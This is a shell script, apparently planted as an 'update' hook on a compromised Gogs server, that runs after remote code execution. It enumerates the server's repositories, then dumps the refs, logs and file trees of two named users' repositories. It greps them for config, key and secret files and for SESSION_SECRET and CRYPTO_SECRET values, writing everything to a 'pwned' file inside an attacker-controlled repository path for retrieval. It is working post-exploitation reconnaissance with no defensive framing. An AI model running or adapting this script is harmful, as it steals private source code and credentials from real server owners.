update 1.1 KB

12345678910111213141516171819202122232425262728
  1. #!/bin/sh
  2. OUT=/data/gogs/data/tmp/local-r/116/nslxits0yu/rce-lxits0yu.git
  3. R=/data/git/gogs-repositories
  4. {
  5. echo "=== round2031a $(date -u) ==="
  6. id
  7. echo "--- zoujiajian dir ---"
  8. ls -la $R/zoujiajian/ 2>/dev/null
  9. echo "--- all repo sizes (MB) ---"
  10. du -sm $R/*/*.git 2>/dev/null | sort -n | tail -50
  11. echo "--- gogs data ---"
  12. ls -la /data/gogs/data/ 2>/dev/null
  13. for r in zoujiajian/dump.git zoujiajian/netflix-code.git; do
  14. GD=$R/$r
  15. echo "##### SCAN $r"
  16. [ -d "$GD" ] || { echo MISSING; continue; }
  17. du -sm "$GD"
  18. echo "-- refs --"; git --git-dir="$GD" for-each-ref 2>/dev/null | head -20
  19. echo "-- log --"; git --git-dir="$GD" log --all --oneline 2>/dev/null | head -20
  20. echo "-- HEAD files first 120 --"; git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | head -120
  21. echo "-- HEAD env/compose/config files --"
  22. git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE "env|compose|deploy|secret|conf|ya?ml|key" | head -60
  23. echo "-- git grep secrets on HEAD --"
  24. git --git-dir="$GD" grep -i -n -e "SESSION_SECRET" -e "CRYPTO_SECRET" HEAD 2>/dev/null | head -20
  25. echo "##### DONE $r"
  26. done
  27. echo "=== end 2031a ==="
  28. } > $OUT/pwned2031a 2>&1